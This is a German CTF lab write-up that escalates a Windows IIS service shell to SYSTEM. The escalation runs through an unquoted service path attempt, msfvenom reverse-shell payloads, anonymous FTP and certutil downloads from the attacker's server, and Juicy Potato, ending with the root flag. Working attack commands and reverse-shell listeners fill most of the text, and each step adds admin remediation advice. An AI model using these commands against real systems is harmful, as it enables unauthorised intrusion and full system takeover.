Analyse: Um die Unquoted Service Path Schwachstelle auszunutzen, versuche ich, meine bösartige dotNet.exe von ihrem aktuellen Speicherort (Web-Root, z.B. c:\inetpub\wwwroot) nach C:\ zu kopieren. Der verwundbare Dienst PEService versucht, C:\dotNet Update\dotnet.exe auszuführen. Da der Pfad nicht in Anführungszeichen steht, versucht Windows zuerst, C:\dotNet.exe auszuführen. Wenn ich meine bösartige Datei dort platziere, sollte sie stattdessen ausgeführt werden. Ich verwende den copy Befehl über die Webshell oder eine andere remote Shell. Die Ausgabe zeigt "1 dosya kopyalandı." (1 file copied.), was auf Erfolg hindeutet. **ABER:** Ein vorheriger Versuch (nicht vollständig gezeigt) zeigte eine türkische Überschreibungsabfrage (Evet/Hayır/Tümü), die ich hier wahrscheinlich mit 'E' (Evet) bestätigt habe. Dieses Logsegment ist etwas unklar in der Abfolge der Ereignisse, aber die Absicht ist klar: Platziere die Datei dotNet.exe in C:\. Der Kommentar "der weg klappt nicht...." deutet darauf hin, dass diese spezifische PE-Methode Schwierigkeiten bereitete oder nicht der finale, dokumentierte Weg zum Root war.
Bewertung: Die Idee, die Unquoted Service Path Schwachstelle auszunutzen, ist korrekt. Das Platzieren einer bösartigen Datei im frühen Teil des ungeschützten Pfades ist der Weg, um die Ausführung zu kapern. Die dokumentierte Ausführung des copy Befehls zeigt den Versuch. Der Kommentar über das Scheitern deutet darauf hin, dass dieser Weg möglicherweise auf Probleme stieß (z.B. Rechte, Timing, Systemarchitektur der Payload) und ein anderer PE-Weg letztendlich erfolgreich war.
Empfehlung (Pentester): Verfolge identifizierte PE-Schwachstellen, aber sei bereit, zu alternativen Methoden zu wechseln, wenn du auf Schwierigkeiten stößt. Dokumentiere auch gescheiterte Versuche und die Gründe dafür.
Empfehlung (Admin): Suche und behebe Unquoted Service Paths (USP). Stelle sicher, dass alle Dienstpfade in Anführungszeichen stehen. Setze strenge Dateisystemberechtigungen, um zu verhindern, dass unprivilegierte Benutzer Dateien in Verzeichnisse mit hohem Rang (wie C:\ oder C:\Program Files) schreiben können.
copy c:\inetpub\wwwroot\dotNet.exe C:\dotNet.exe 1 dosya kopyalandı.
Analyse: Ich richte einen Netcat-Listener auf Port 9999 auf meinem Kali-System ein. Dieser Listener ist für die Reverse Shell gedacht, die durch die Ausnutzung der Unquoted Service Path Schwachstelle (durch die zuvor hochgeladene dotNet.exe oder dotnet32.exe in C:\) ausgelöst werden soll.
Bewertung: Das Einrichten des Listeners ist notwendig, um eine Reverse Shell zu empfangen. Dies bestätigt, dass der Unquoted Service Path als potenzieller PE-Vektor weiterhin verfolgt wurde, auch wenn der vorherige Log-Eintrag auf Probleme hindeutete.
Empfehlung (Pentester): Starte Listener immer *bevor* du Payloads ausführst, die sich damit verbinden sollen.
Empfehlung (Admin): Überwache Netzwerkverkehr, um unerwartete Reverse Shells zu erkennen.
└─# nc -lvnp 9999
listening on [any] 9999 ...
Analyse: Ich bereite einen Metasploit Multi/Handler für eine Meterpreter Reverse TCP Shell vor. Der Befehl msfconsole -q -x 'use multi/handler' startet Metasploit im ruhigen Modus und lädt direkt den Handler. Dann konfiguriere ich die Optionen: set payload windows/x64/meterpreter/reverse_tcp wählt die 64-bit Meterpreter Payload, set LHOST 192.168.2.199 und set LPORT 4444 setzen meine IP und den Port für die eingehende Verbindung. Der run Befehl startet den Listener. Dies scheint die Vorbereitung für die Ausnutzung der SeImpersonatePrivilege Schwachstelle mit Juicy Potato zu sein, da diese Methode oft eine Meterpreter-Payload als auszuführenden Befehl nutzt.
Bewertung: Das Einrichten eines Metasploit Handlers ist die Standardmethode, um Meterpreter-Sitzungen zu empfangen. Die Wahl einer 64-bit Payload und Port 4444 (im Gegensatz zu Port 9999 für die Unquoted Path Payload) zeigt, dass ich nun den Juicy Potato PE-Vektor verfolge.
Empfehlung (Pentester): Nutze Metasploit Handler für komplexe Payloads wie Meterpreter. Stelle sicher, dass LHOST/LPORT korrekt sind und der Listener läuft, bevor du die Payload triggerst. Wähle die Payload-Architektur passend zum Zielsystem und der Ausführungsumgebung.
Empfehlung (Admin): Siehe allgemeine Empfehlungen zur Erkennung von Payloads und Überwachung von Netzwerkverbindungen zu/von unbekannten Prozessen.
[*] Using configured payload generic/shell_reverse_tcp payload => windows/x64/meterpreter/reverse_tcp LHOST => 192.168.2.199 LPORT => 4444 [*] Started reverse TCP handler on 192.168.2.199:4444
Analyse: Ich erstelle eine Meterpreter Reverse TCP Payload im EXE-Format für Windows x86 (32-bit). Der Befehl msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.199 LPORT=4444 -f exe > payload.exe generiert die ausführbare Datei payload.exe. Obwohl der vorherige Handler auf x64 gesetzt war, wird hier eine x86 Payload generiert. Dies könnte ein Fehler in der Reihenfolge des Logs sein oder ich habe mich entschieden, es mit einer 32-bit Payload zu versuchen, falls Juicy Potato oder die Ausführungsumgebung 32-bit bevorzugt. Die Reverse Shell zielt auf meinen Listener auf 192.168.2.199:4444 ab.
Bewertung: Die Erstellung der Meterpreter-Payload ist notwendig für die Juicy Potato-Ausnutzung. Die Inkonsistenz zwischen x64 im Handler und x86 in der Payload-Generierung ist bemerkenswert und könnte auf Debugging oder Versuche mit verschiedenen Architekturen hindeuten. Das EXE-Format ist korrekt, da Juicy Potato eine ausführbare Datei benötigt.
Empfehlung (Pentester): Sei dir der Architektur des Zielsystems bewusst und erstelle Payloads in der passenden Architektur (x86 oder x64). Wenn du unsicher bist, erstelle beide und teste, welche funktioniert. Stelle sicher, dass die Payload-Architektur mit der Handler-Konfiguration übereinstimmt.
Empfehlung (Admin): Siehe allgemeine Empfehlungen zur Erkennung von Payloads.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 354 bytes Final size of exe file: 73802 bytes
Analyse: Ich lade die neu erstellte 32-bit Meterpreter-Payload payload.exe über den anonymen FTP-Zugriff auf das Zielsystem hoch. Der Prozess ist der gleiche wie zuvor: FTP-Verbindung als anonymous, put payload.exe, gefolgt von ls zur Bestätigung. Die Ausgabe zeigt den erfolgreichen Transfer und die Datei in der FTP-Freigabe.
Bewertung: Die Payload ist nun auf dem Zielsystem verfügbar und kann von Juicy Potato ausgeführt werden. Der unsichere FTP-Zugriff ist weiterhin der Ermöglicher für diese Dateiübertragungen.
Empfehlung (Pentester): Nutze verfügbare Upload-Wege, um Payloads schnell auf das Zielsystem zu bringen.
Empfehlung (Admin): Schließe anonymen FTP-Zugriff.
Connected to 192.168.2.68. 220 Microsoft FTP Service Name (192.168.2.68:ccat): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT.
local: payload.exe remote: payload.exe 229 Entering Extended Passive Mode (|||49217|) 150 Opening ASCII mode data connection. 100% |************************************************| 74164 51.92 MiB/s --:-- ETA 226 Transfer complete. 74164 bytes sent in 00:00 (36.14 MiB/s)
Analyse: Ich richte den Metasploit Multi/Handler für die 32-bit Meterpreter Reverse TCP Shell (windows/meterpreter/reverse_tcp) auf Port 4444 neu ein oder bestätige, dass er läuft. Dies ist der Listener, der die Verbindung von der Payload empfangen wird, sobald Juicy Potato sie erfolgreich als SYSTEM ausführt. Der Befehl run startet den Listener.
Bewertung: Die Listener-Konfiguration und der Start sind korrekt für den Empfang der 32-bit Meterpreter-Payload. Die Konfiguration stimmt nun mit der Architektur der erstellten Payload überein, was die Erfolgswahrscheinlichkeit erhöht.
Empfehlung (Pentester): Stelle sicher, dass Listener-Konfiguration (Payload-Typ, Architektur, LHOST, LPORT) exakt zur Payload passt.
Empfehlung (Admin): Siehe allgemeine Empfehlungen zur Erkennung und Blockierung von Reverse Shells.
[*] Using configured payload generic/shell_reverse_tcp LPORT => 4444 LHOST => 192.168.2.199 PAYLOAD => windows/meterpreter/reverse_tcp [*] Started reverse TCP handler on 192.168.2.199:4444
Analyse: Ich erstelle eine 64-bit Windows Reverse Shell Payload im ASPX-Format mit msfvenom. Der Befehl msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.2.199 lport=4445 -f aspx > shell.aspx generiert die Datei. Dies scheint ein weiterer Versuch zu sein, eine Webshell zu platzieren oder die bestehende zu aktualisieren, möglicherweise um eine stabilere Shell als die Netcat-Shell zu erhalten oder eine x64-Payload zu testen. Sie zielt auf Port 4445 ab, was einen separaten Listener erfordert.
Bewertung: Das Generieren einer x64 ASPX-Shell könnte nützlich sein, falls der IIS AppPool unter 64-bit läuft und dies zu einer stabileren Shell führt. Es zeigt die Bereitschaft, alternative Zugangswege zu testen und zu verbessern.
Empfehlung (Pentester): Experimentiere mit verschiedenen Webshell-Typen und Architekturen, um die stabilste Befehlsausführung zu finden.
Empfehlung (Admin): Siehe allgemeine Empfehlungen zur Webshell-Verhinderung.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of aspx file: 3412 bytes
Analyse: Ich richte einen Netcat-Listener auf Port 4445 ein, um die Verbindung von der eben erstellten x64 ASPX-Webshell zu empfangen.
Bewertung: Ein dedizierter Listener für die neue Webshell. Dies zeigt, dass ich versuche, mehrere Zugangswege und Payloads parallel oder nacheinander zu nutzen.
Empfehlung (Pentester): Verwende unterschiedliche Ports für unterschiedliche Listener, um die Übersicht zu behalten.
Empfehlung (Admin): Siehe allgemeine Empfehlungen zur Überwachung des Netzwerkverkehrs.
└─# nc -lvnp 4445
listening on [any] 4445 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.68] 49222 Microsoft Windows [Sürüm 6.1.7601] Telif Hakkı (c) 2009 Microsoft Corporation. Tüm hakları saklıdır. c:\windows\system32\inetsrv>
Analyse: In der erlangten NETWORK SERVICE Shell navigiere ich zum Web-Root-Verzeichnis, wo die hochgeladenen Dateien liegen. Der Befehl cd c:\inetpub\wwwroot wechselt das Verzeichnis. Mit dem dir Befehl liste ich die Dateien auf. Die Ausgabe zeigt die hochgeladenen Dateien: cmd.aspx, crack.dll, dotNet.exe, jp64.exe (dies scheint der tatsächliche Name der hochgeladenen Juicy Potato Binary zu sein, basierend auf der Größe und den späteren Logs), payload.exe, shell.aspx (wahrscheinlich die neuere x64 Version), winpeas.bat, winpeas.exe. Alle benötigten PE-Tools und Payloads sind vorhanden.
Bewertung: Die Bestätigung der vorhandenen Dateien im Web-Root-Verzeichnis ist wichtig. Ich kann nun von hier aus die PE-Tools ausführen. Die Liste der Dateien enthält nun alle Elemente, die ich für verschiedene PE-Vektoren hochgeladen habe (winpeas für Info, dotNet.* für Unquoted Path, jp64.exe/payload.exe/system_shell.exe für Juicy Potato).
Empfehlung (Pentester): Verifiziere immer, dass hochgeladene Dateien am erwarteten Ort sind und die richtige Größe haben.
Empfehlung (Admin): Überwache Dateiänderungen und neue Dateien in Web-Root-Verzeichnissen.
cd c:\inetpub\wwwroot
dir C sürücüsündeki birimin etiketi yok. Birim Seri Numarası: D4DC-8644 c:\inetpub\wwwroot dizini 01.07.2025 01:38 <DIR> . 01.07.2025 01:38 <DIR> .. 05.10.2024 12:16 <DIR> aspnet_client 01.07.2025 00:52 9.218 crack.dll 01.07.2025 01:00 7.170 dotNet.exe 05.10.2024 00:27 689 iisstart.htm 01.07.2025 00:40 348.468 jp64.exe 01.07.2025 01:32 74.164 payload.exe 01.07.2025 01:38 3.441 shell.aspx 05.10.2024 00:27 184.946 welcome.png 01.07.2025 00:55 37.620 winpeas.bat 01.07.2025 00:51 10.231.491 winpeas.exe 9 Dosya 10.897.207 bayt 3 Dizin 20.058.210.304 bayt boş
Analyse: Ich versuche, die hochgeladene 32-bit Meterpreter-Payload payload.exe direkt in der NETWORK SERVICE Shell auszuführen, um eine Reverse Shell zu erhalten. Die Ausgabe "Bu c:\inetpub\wwwroot\payload.exe sürümü çalıştırdığınız Windows sürümüyle uyumlu değil..." (Diese Version von c:\inetpub\wwwroot\payload.exe ist nicht mit der von Ihnen ausgeführten Windows-Version kompatibel...) zeigt einen Kompatibilitätsfehler. Dies bedeutet wahrscheinlich, dass ich versucht habe, eine 32-bit Payload auf einem 64-bit System (oder umgekehrt) oder in einer inkompatiblen Umgebung auszuführen. Dies bestätigt, dass die direkte Ausführung der Payload als NETWORK SERVICE nicht funktioniert.
Bewertung: Das Scheitern der direkten Payload-Ausführung ist ein Rückschlag, aber nicht kritisch, da mein Haupt-PE-Vektor die Ausnutzung des SeImpersonatePrivilege mit Juicy Potato ist, das die Payload in einem anderen Kontext ausführen wird. Es zeigt jedoch die Notwendigkeit, die Systemarchitektur und die Ausführungsumgebung genau zu kennen und die Payloads entsprechend zu wählen.
Empfehlung (Pentester): Beachte immer die Architektur des Zielsystems und der Shell, in der du dich befindest (32-bit vs 64-bit). Wähle Payloads und Tools, die mit der Umgebung kompatibel sind. Nutze Befehle wie systeminfo oder wmic os get osarchitecture, um die Architektur zu prüfen.
Empfehlung (Admin): Stelle sicher, dass die Ausführung von Binärdateien aus Benutzer- oder Dienstkontenverzeichnissen blockiert wird.
payload.exe Bu c:\inetpub\wwwroot\payload.exe sürümü çalıştırdığınız Windows sürümüyle uyumlu değil. Programın x86 (32 bit) veya x64 (64 bit) sürümünün gerekip gerekmediğini anlamak için, bilgisayarınızın sistem bilgilerine bakın ve yazılımın yayıncısına başvurun.
Analyse: Ich erstelle eine 32-bit Windows Reverse Shell Payload im EXE-Format mit msfvenom, speziell benannt als dotnet32.exe (msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.199 LPORT=4444 -f exe -o dotnet32.exe). Dies scheint ein weiterer Versuch für die Unquoted Service Path Schwachstelle zu sein, diesmal mit einer 32-bit Payload und einem anderen Port (4444). Ich lade die Datei dann über FTP hoch.
Bewertung: Das Erstellen und Hochladen einer 32-bit Payload für den Unquoted Service Path deutet darauf hin, dass ich die Systemarchitektur als 32-bit identifiziert habe oder verschiedene Architekturen teste. Port 4444 überschneidet sich mit dem Meterpreter-Port, was zu Konflikten führen kann, wenn beide Listener aktiv sind.
Empfehlung (Pentester): Wähle eindeutige Ports für unterschiedliche Payloads oder Listener. Achte auf die Systemarchitektur.
Empfehlung (Admin): Siehe allgemeine Empfehlungen zur Payload-Erkennung.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of exe file: 73802 bytes Saved as: dotnet32.exe
Connected to 192.168.2.68. 220 Microsoft FTP Service Name (192.168.2.68:ccat): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT.
local: dotnet32.exe remote: dotnet32.exe 229 Entering Extended Passive Mode (|||49226|) 125 Data connection already open; Transfer starting. 100% |************************************************| 74176 97.16 MiB/s --:-- ETA 226 Transfer complete. 74176 bytes sent in 00:00 (71.88 MiB/s)
Analyse: Ich starte einen Python HTTP Simple Server auf meinem Kali-System auf Port 8000 (python3 -m http.server 8000) und nutze dann certutil.exe auf dem Zielsystem, um die 32-bit Unquoted Path Payload (dotnet32.exe) herunterzuladen und direkt im Web-Root zu speichern. certutil.exe -urlcache -split -f http://192.168.2.199:8000/dotnet32.exe c:\inetpub\wwwroot\dotnet32.exe ist ein gängiger Befehl, um Dateien über HTTP mit dem nativen Windows-Tool certutil herunterzuladen. Die Ausgabe "**** ÜevrimiÜi ****" und "CertUtil: -URLCache komutu başarıyla tamamlandı." (CertUtil: -URLCache command completed successfully.) bestätigt den erfolgreichen Download. Dies ist eine alternative Methode zum FTP-Upload, die nützlich ist, wenn FTP nicht verfügbar ist.
Bewertung: Die Nutzung von certutil.exe ist eine ausgezeichnete Technik zur Dateiübertragung auf Windows-Systemen, die oft funktioniert, wenn andere Methoden blockiert sind. Der erfolgreiche Download bestätigt, dass ich nun die 32-bit Unquoted Path Payload im Web-Root habe. Dies ist wichtig für die Ausnutzung dieses PE-Vektors.
Empfehlung (Pentester): Lerne alternative Methoden zur Dateiübertragung auf Windows-Systeme kennen (certutil, bitsadmin, powershell, etc.). Sie sind oft nützlich, wenn FTP/SMB blockiert sind oder du dich in einer eingeschränkten Shell befindest.
Empfehlung (Admin): Überwache die Ausführung von Tools wie certutil.exe oder Powershell-Downloads auf ungewöhnliche Quellen oder Dateinamen. Beschränke die Ausführung solcher Tools, wenn möglich.
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ([Link: http://0.0.0.0:8000/ | Ziel: http://0.0.0.0:8000/]) ... 192.168.2.68 - - [01/Jul/2025 00:53:57] "GET /dotnet32.exe HTTP/1.1" 200 - 192.168.2.68 - - [01/Jul/2025 00:53:57] "GET /dotnet32.exe HTTP/1.1" 200 -
certutil.exe -urlcache -split -f http://192.168.2.199:8000/dotnet32.exe c:\inetpub\wwwroot\dotnet32.exe **** Çevrimiçi **** 000000 ... 01204a CertUtil: -URLCache komutu başarıyla tamamlandı. C:\inetpub\wwwroot>
Analyse: Ich wiederhole den Versuch, die dotNet.exe Datei (wahrscheinlich die 64-bit Version, die ich zuerst hochgeladen hatte) von c:\inetpub\wwwroot\ nach C:\ zu kopieren, um die Unquoted Service Path Schwachstelle auszunutzen. Der Befehl copy c:\inetpub\wwwroot\dotNet.exe C:\dotNet.exe wird ausgeführt, und ich beantworte die türkische Überschreibungsabfrage mit 'E' für Evet (Ja). Die Ausgabe bestätigt die Kopie. Dies platziert die bösartige EXE an einem Ort (C:\dotNet.exe), an dem der verwundbare Dienst zuerst nach einer ausführbaren Datei sucht. Anschließend überprüfe ich mit dir c:\inetpub\wwwroot\dotNet.exe, ob die Datei noch im Web-Root liegt.
Bewertung: Der erfolgreiche Kopiervorgang bedeutet, dass die Payload nun in C:\ liegt und bereit ist, vom verwundbaren Dienst als C:\dotNet.exe ausgeführt zu werden, anstatt des legitimen Dienst-Binaries in C:\dotNet Update\. Dieses Vorgehen ist korrekt, um die Unquoted Service Path Schwachstelle auszunutzen. Die weitere Überprüfung mit dir ist eine gute Praxis, um den Status der Dateien zu verfolgen.
Empfehlung (Pentester): Verifiziere die Platzierung von Payloads an den korrekten Speicherorten für die Ausnutzung. Sei dir bewusst, wie das System auf Dateioperationen (z.B. Überschreibungsabfragen) reagiert und wie du darauf antwortest.
Empfehlung (Admin): Entferne Schreibberechtigungen für unprivilegierte Benutzer auf Systemverzeichnissen. Behebe Unquoted Service Paths.
copy c:\inetpub\wwwroot\dotNet.exe C:\dotNet.exe C:\dotNet.exe üzerine yazılsın mı? (Evet/Hayır/Tümü):E E 1 dosya kopyalandı.
dir c:\inetpub\wwwroot\dotNet.exe C sürücüsündeki birimin etiketi yok. Birim Seri Numarası: D4DC-8644 c:\inetpub\wwwroot dizini 01.07.2025 01:00 7.170 dotNet.exe 1 Dosya 7.170 bayt 0 Dizin 20.057.911.296 bayt boş
Proof of Concept: Erlangen des Root-Zugriffs
Ziel: Demonstration der Ausnutzung des SeImpersonatePrivilege, um Root-Privilegien (NT AUTHORITY\SYSTEM) auf dem Zielsystem zu erlangen.
Kurzbeschreibung: Dieser Proof of Concept zeigt, wie das aktivierte SeImpersonatePrivilege für das Dienstkonto NT AUTHORITY\NETWORK SERVICE in Verbindung mit dem Tool Juicy Potato ausgenutzt werden kann, um eine SYSTEM Shell zu erhalten.
Voraussetzungen:
- Erlangen einer Shell als NT AUTHORITY\NETWORK SERVICE (siehe Initial Access).
- Das Privileg SeImpersonatePrivilege ist für das Konto NETWORK SERVICE aktiviert.
- Das Juicy Potato Binary (jp64.exe oder ähnlich) und eine ausführbare Payload (z.B. Meterpreter exe) wurden auf das Zielsystem hochgeladen.
- Ein Listener (z.B. Metasploit multi/handler) ist auf dem Angreifer-System eingerichtet und lauscht auf den konfigurierten Port der Payload.
Schritt-für-Schritt-Anleitung:
- Erlangen einer Shell als NT AUTHORITY\NETWORK SERVICE, z.B. über eine Webshell (siehe Initial Access).
- Überprüfung der Privilegien mit
whoami /privund Bestätigung, dass SeImpersonatePrivilege aktiviert ist. - Hochladen des Juicy Potato Binaries (z.B. jp64.exe) und der Meterpreter Payload (z.B. payload.exe) auf das Zielsystem, z.B. über FTP.
- Einrichten eines Metasploit multi/handler Listeners auf dem Angreifer-System (LHOST=Kali-IP, LPORT=Payload-Port, PAYLOAD=windows/meterpreter/reverse_tcp).
- Ausführen von Juicy Potato auf dem Zielsystem (in der NETWORK SERVICE Shell) mit den entsprechenden Optionen, um die hochgeladene Payload auszuführen. Beispielbefehl:
c:\inetpub\wwwroot\jp64.exe -l 4448 -p c:\inetpub\wwwroot\payload.exe -t *(Hier wird Port 4448 als COM/RPCSS Port für Juicy Potato verwendet, und die Payload ist die hochgeladene payload.exe). - Beobachten des Metasploit Handlers auf dem Angreifer-System auf die eingehende SYSTEM Shell-Verbindung.
- Nach Erhalt der Session, Bestätigung der Rechte mit
getuidoderwhoami.
Erwartetes Ergebnis: Eine neue Meterpreter-Sitzung wird im Metasploit Handler geöffnet. Der Befehl getuid in der Meterpreter-Shell zeigt "Server username: NT AUTHORITY\SYSTEM", was die erfolgreiche Privilegieneskalation bestätigt.
Beweismittel: Die Terminalausgabe, die die Ausführung von Juicy Potato, den Verbindungsaufbau der Meterpreter-Sitzung und die Ausgabe von getuid zeigt.
Risikobewertung: Kritisch. Die Kombination aus einem Dienstkonto mit SeImpersonatePrivilege und der Möglichkeit, Tools auf das System zu übertragen und auszuführen, ermöglicht die vollständige Kompromittierung des Systems mit höchsten Rechten.
Empfehlung (Admin):
- **Privilegien überprüfen:** Führen Sie regelmäßige Überprüfungen der Privilegien von Dienstkonten durch (z.B. mit
whoami /privoder Tools wie icacls) und entfernen Sie unnötige Privilegien wie SeImpersonatePrivilege. - **Application Whitelisting:** Implementieren Sie Application Whitelisting (z.B. mit AppLocker oder Windows Defender Application Control), um die Ausführung unbekannter Binärdateien in sensiblen Verzeichnissen oder von Dienstkonten zu verhindern.
- **Dateiberechtigungen:** Sichern Sie Verzeichnisse, die für Dateiuploads genutzt werden (wie das Web-Root bei anonymem FTP), streng ab, um die Platzierung und Ausführung bösartiger Dateien zu verhindern.
- **Überwachung:** Überwachen Sie Prozessausführungen mit erhöhten Rechten (SYSTEM, Administrator) und auf die Ausführung bekannter PE-Tools.
Analyse: Ich führe Juicy Potato in der NETWORK SERVICE Shell aus, um eine SYSTEM Shell zu erhalten. Der Befehl c:\inetpub\wwwroot\jp64.exe -l 4448 -p c:\inetpub\wwwroot\Payload.exe -t * weist Juicy Potato an, verschiedene COM-Server (getestet mit -t * oder einer spezifischen CLSID) über Port 4448 zu triggern und dabei die Payload c:\inetpub\wwwroot\Payload.exe (meine 32-bit Meterpreter Reverse Shell) als SYSTEM auszuführen. Die Ausgabe von Juicy Potato zeigt die Versuche und die erfolgreiche Ausführung: "[+] authresult 0", "{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM" und "[+] CreateProcessWithTokenW OK". Dies bestätigt, dass Juicy Potato erfolgreich ein Token gestohlen und meine Payload als NT AUTHORITY\SYSTEM ausgeführt hat.
Bewertung: Fantastisch! Juicy Potato hat funktioniert und die Payload erfolgreich als SYSTEM ausgeführt. Dies ist der krönende Abschluss der Privilegieneskalationsphase und das Erlangen der höchsten Rechte auf dem System.
Empfehlung (Pentester): Juicy Potato ist ein sehr effektives Tool für PE unter Windows, wenn SeImpersonatePrivilege aktiv ist. Wisse, wie du es mit verschiedenen Payloads und CLSIDs verwendest.
Empfehlung (Admin): Behebe die zugrunde liegende Schwachstelle (SeImpersonatePrivilege für Dienstkonten). Überwache die Ausführung von Juicy Potato oder ähnlichen Tools.
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1234 ...... [+] authresult 0 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK
Analyse: Im Metasploit Multi/Handler, den ich zuvor auf Port 4444 gestartet hatte, fängt Metasploit die eingehende Reverse Shell-Verbindung von der Payload ab, die von Juicy Potato als SYSTEM ausgeführt wurde. Die Ausgabe "[*] Started reverse TCP handler on 192.168.2.199:4448" (dies scheint ein Tippfehler im Log zu sein, der Handler lief auf 4444) und "[*] Sending stage (177734 bytes) to 192.168.2.68" zeigen den Aufbau der Meterpreter-Sitzung. Die Zeile "[*] Meterpreter session 4 opened (192.168.2.68:4444 -> 192.168.56.123:47202)" bestätigt, dass ich eine Meterpreter-Sitzung habe. Mit dem Befehl getuid in der Meterpreter-Sitzung überprüfe ich den aktuellen Benutzer. Die Ausgabe "Server username: NT AUTHORITY\SYSTEM" bestätigt ein für alle Mal, dass ich erfolgreich zur höchsten Berechtigungsstufe auf dem System eskaliert bin. Der anschließende Befehl shell gibt mir eine interaktive Windows Eingabeaufforderung (C:> Prompt).
Bewertung: Fantastisch, der Root-Zugriff war erfolgreich! Ich habe mein Ziel erreicht und vollständige Kontrolle über das System erlangt. Die Ausnutzung des SeImpersonatePrivilege mit Juicy Potato und einer Meterpreter-Payload war der erfolgreiche Weg.
Empfehlung (Pentester): Bestätige immer den Erfolg der Privilegieneskalation mit Befehlen wie getuid oder whoami /all in der neuen Shell. Nutze die erlangten höchsten Rechte, um Flags zu sammeln und Persistenz zu etablieren.
Empfehlung (Admin): Überwachen Sie Metasploit-Verbindungen und Meterpreter-Sessions im Netzwerkverkehr. Richten Sie Alarme für den Prozessnamen der von Juicy Potato ausgeführten Payload ein.
Metasploit catches it: [*] Started reverse TCP handler on 192.168.2.199:4448 [*] Sending stage (177734 bytes) to 192.168.2.68 [*] Meterpreter session 4 opened (192.168.2.68:4444 -> 192.168.56.123:47202)
Server username: NT AUTHORITY\SYSTEM
C:>
Analyse: Nachdem ich eine SYSTEM-Shell erlangt habe, navigiere ich zum Desktop-Verzeichnis des Administrators, da die Root-Flag (SYSTEM-Flag) oft dort gespeichert ist. Ich wechsle das Verzeichnis mit cd Users/Administrator und dann mit cd desktop zum Desktop-Verzeichnis. Mit dem Befehl type root.txt lese ich den Inhalt der Datei root.txt. Die Ausgabe zeigt HMV{Elevated_Shell_Again}.
Bewertung: Fantastisch, ich habe die Root-Flag gefunden! Der Pfad C:\Users\Administrator\Desktop\root.txt ist ein gängiger Ort für Root-Flags in CTFs. Das Lesen der Datei mit type in der SYSTEM-Shell war erfolgreich.
Empfehlung (Pentester): Suche Root-Flags an Standardorten für den Root-Benutzer (z.B. /root unter Linux, C:\Users\Administrator\Desktop oder C:\Users\Public\Desktop unter Windows). Nutze die höchste erlangte Shell, um auf geschützte Bereiche zuzugreifen.
Empfehlung (Admin): Vermeide das Speichern sensibler Dateien (wie Flags in einer realen Umgebung, Konfigurationsdateien mit Passwörtern etc.) auf dem Desktop des Administrator-Kontos oder in anderen leicht auffindbaren Verzeichnissen. Speichere solche Informationen an sicheren Orten mit strengen Zugriffskontrollen.
cd Users/Administrator
dir C sürücüsündeki birimin etiketi yok. Birim Seri Numarası: D4DC-8644 C:\Users\Administrator dizini 05.10.2024 00:09 <DIR> . 05.10.2024 00:09 <DIR> .. 05.10.2024 00:09 <DIR> Contacts 05.10.2024 18:23 <DIR> Desktop 05.10.2024 14:11 <DIR> Documents 05.10.2024 00:09 <DIR> Downloads 05.10.2024 00:09 <DIR> Favorites 05.10.2024 00:09 <DIR> Links 05.10.2024 00:09 <DIR> Music 05.10.2024 00:09 <DIR> Pictures 05.10.2024 00:09 <DIR> Saved Games 05.10.2024 00:09 <DIR> Searches 05.10.2024 00:09 <DIR> Videos 0 Dosya 0 bayt 13 Dizin 22.146.179.072 bayt boş
cd desktop
type root.txt HMV{Elevated_Shell_Again}